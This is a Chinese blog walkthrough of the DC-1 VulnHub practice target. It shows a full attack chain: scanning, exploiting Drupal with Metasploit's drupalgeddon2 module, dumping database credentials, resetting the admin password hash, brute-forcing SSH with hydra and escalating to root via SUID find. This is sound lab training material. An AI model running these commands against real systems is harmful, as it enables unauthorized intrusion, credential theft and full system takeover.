DC 靶场系列

DC1,开始逐渐打靶,加油加油

# 一、环境搭建

# 准备工具

kali

DC-1 靶机

# 靶机下载地址

  • DC-1.zip (Size: 733 MB)
  • Download: http://www.five86.com/downloads/DC-1.zip
  • Download (Mirror): https://download.vulnhub.com/dc/DC-1.zip

# 安装过程

解压得到 DC-1.ova 文件

image-20230606211804839

用 vmware 虚拟机打开此文件

如提示导入失败,点击重试即可

kali 和靶机得网络连接模式都改为 NAT 模式,不然 kali 扫不出靶机的 ip

image-20230606211955678

# 二、渗透过程

攻击机 (kali) ip:192.168.16.129

靶机 (DC-1) ip:192.168.16.131

# 信息收集

# 探测目标 ip

kali 里面有很多探测目标 ip 的工具,例如本文要讲的 arp-scan、netdiscover、nmap

arp-scan

arp-scan -l

image-20230606212548326

可以很明显的看到一个可疑的 .131 ip 很可能就是我们的靶机,

我们可以查看靶机的 mac 地址,与我们探测出来的 mac 地址一样

image-20230606213337360

netdiscover

netdiscover

image-20230606213455640

nmap

nmap -sP 192.168.16.0/24

ip 后面改为 0/24,是因为这里的 192.168.16.0/24 表示的是这个网段的 ip 地址从 192.168.16.1 开始,到 192.168.16.254 结束(192.168.16.0 和 192.168.16.255 有特殊含义不能当做 ip 地址),子网掩码为 255.255.255.0

image-20230606213635960

# 探测目标端口

nmap 来检测

nmap -sV 192.168.16.131 -p- --open

-sV 扫描目标主机端口并显示相关信息

-p- 扫描所有端口 0-65535

--open 只显示已开启的端口

image-20230606215724755

我们的突破口在 22 80 ,因为 80 是 http 协议,所以我们用浏览器打开

如不能打开,更改 C:\Windows\System32\drivers\etc\hosts 文件

将 192.168.16.131 dc-1 添加进去即可

# 网页信息收集

利用插件 wappalyzer ,可以看到很多网页的信息,看到了眼熟的 CMS Drupal

image-20230606220335906

也可以用 kali 的工具 whatweb

whatweb -v 192.168.16.131

image-20230606220703745

我们可以得到以下信息

CMS 是 Drupal

Apache 2.2.22

PHP 5.4.45

# 漏洞查找与利用

# 漏洞查找

都已经知道 cms 是 drupal

网上一搜全是漏洞复现的文章

image-20230606221147493

也可以用 kali 里的 Metasploit 查找 drupal 漏洞

首先 msfconsole 启动该工具

msf6 > search drupal

image-20230606221442099

可以看到有很多的框架漏洞,这里我们使用等级较高的,日期 18 年

# 漏洞利用

使用 18 年那个漏洞

msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 
msf6 > use 1

然后

show options

查看漏洞模块参数

image-20230606222236211

Current Setting : 这里是要配置的内容

Required : yes 是必须要配置的,no 是可配可不配

就像上面 RHOSTS 是空着的,所以我们需要将他补上

LHOSTS 本机 ip

RHOSTS 靶机 ip

set RHOSTS 192.168.16.131

配置完直接运行即可

run
exploit

image-20230606222604693

出现这个就说明我们攻击成功了,接下来我们就可以直接上 shell

# Getshell

# 获取普通 shell

shell

直接输入 shell 能执行指令,这里输入 ls 可以发现能直接执行

image-20230606222754367

# 获取交互式 shell

这里我们可以利用到 python 的模块,前提是主机里装有 python

python -c 'import pty;pty.spawn("/bin/bash")'

image-20230606223127443

这样会好看点,可以看到有个 flag1.txt ,这是我们找到的第一个 flag

image-20230606223209084

这里根据 flag1.txt 的提示,查看 CMS 的配置文件,这里我们百度以下 Drupal 的配置文件是什么

image-20230606223432596

配置文件是 settings.php 我们回 kali 里查找

find / -name settings.php

find 查找指令

/ 根目录

image-20230606223557721

直接去查看配置文件

tac /var/www/sites/default/settings.php

image-20230606224058356

可以看到 mysql 数据库的账号密码,还有我们的 flag2 暂时没什么用先放着

我们先连接数据库

# 数据库渗透

由上面的账号密码登入

mysql -udbuser -pR0ck3t

image-20230606224608869

use drupaldb;show tables;

image-20230606224801325

select * from users;
select name,pass from users;

image-20230606224900751

这样只查看 name 和 pass 会方便很多

可以看到这里有网站 admin 的账号密码,但是密码被加密

加密脚本在 /var/www/scripts/password-hash.sh

我们可以将 admin 的密码更改掉

因为加密脚本是 php 写的,所以直接用 php 执行即可

exit;

先退出 mysql

php /var/www/scripts/password-hash.sh 123456

image-20230606225343401

$S$DUfLi3H99AneMTfLKR.T6BuYivB8jczEhAjQemtPtyTo8Hfo4n1Q

我们将 123456 的密文先保存起来

然后返回到 mysql

update users set pass = "$S$DUfLi3H99AneMTfLKR.T6BuYivB8jczEhAjQemtPtyTo8Hfo4n1Q" where name = "admin";

image-20230606225751973

这样密码就修改成功了,前往浏览器登陆账号

image-20230606225903110

发现 flag3 ,得到线索,查看 /etc/passwd 文件

image-20230606230033930

这里有个 flag4 的账号,我们通过 ssh 爆破的方式获取密码

# 用户密码爆破

利用 hydra 爆破 flag4 的密码,用 kali 自带的字典

在本机上爆破密码

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz -v ssh://192.168.16.131

image-20230606230535073

成功爆破出来,密码 orange,用 kali 连接

ssh flag4@192.168.16.131

image-20230607194806506

image-20230607194848816

获取线索,用同样的方法查找在 /root 下的 flag

# Linux 提权

需要用到 SUID 提权,参考以下

简谈 SUID 提权 - FreeBuf 网络安全行业门户

利用 find 命令,找查具有 SUID 权限的可执行二进制文件

find / -perm -u=s 2>/dev/null

image-20230607195751262

这里我们看到 find ,find 比较常用,所以我们可以执行 root 权限的命令找查文件

find / -name index.php -exec "/bin/sh" \;

查什么文件不重要(但是必须得是存在的文件)只要格式对了,后面加上 -exec "/bin/sh" ; 就行

image-20230607202817386

可以看到这里我们已经提权成功了,接下来就是查看最后一个 flag 的内容

cd /root
ls
cat *

image-20230607203024465

这样就拿到第五个 flag 啦,成功拿到 root 权限,渗透结束

# 三、知识总结

# 主机扫描

  • arp-scan

    arp-scan -l

    arp-scan 使用教程

  • netdiscover

    netdiscover

    Netdiscover 网络扫描工具

  • nmap

    nmap -sP ip

    nmap 详细使用教程

# 信息收集

  • whatweb

    whatweb -v 域名

    whatweb 安装使用

  • 扩展插件 wappalyzer

# 漏洞查找及利用

  • Metasploit

    先打开 msf 控制台

    msfconsole

    然后查找需要的漏洞

    search 漏洞名/cms

    并且使用模块

    use 模块目录/编号

    显示模块参数

    show options

    设置模块参数

    set 模块参数名 参数值
    #如 set lhost 1.1.1.1

    开始攻击

    run或exploit

    metasploit 渗透测试

# Getshell

使用 MSF 攻击等待主机与目标连接完成后

攻击成功直接进入命令行即可

shell

获取交互 shell(需要对方主机安装有 python)

python -c 'import pty;pty.spawn("/bin/bash")'

# 密码爆破与 SSH

Hydra(海德拉)使用详解

以爆破 SSH 为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用 kali 登入

ssh 用户名@目标攻击主机

# Linux 系统的 SUID 提权

简谈 SUID 提权

find / -perm -u=s 2>/dev/null

这句命令的意思是找到 SUID 权限的二进制文件

find /-perm -4000 2>/dev/null 的拆分讲解

然后再用相关指令进行提权。这里以 find 为例(常用)

先 ls 查看当前有什么文件,假设当前目录下有个 123.php,利用有权限的 find 指令搭配 exec 进行提权

find / -name 123.php -exec "/bin/sh" \;

至此本章结束

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

K1nako 微信支付

微信支付

K1nako 支付宝

支付宝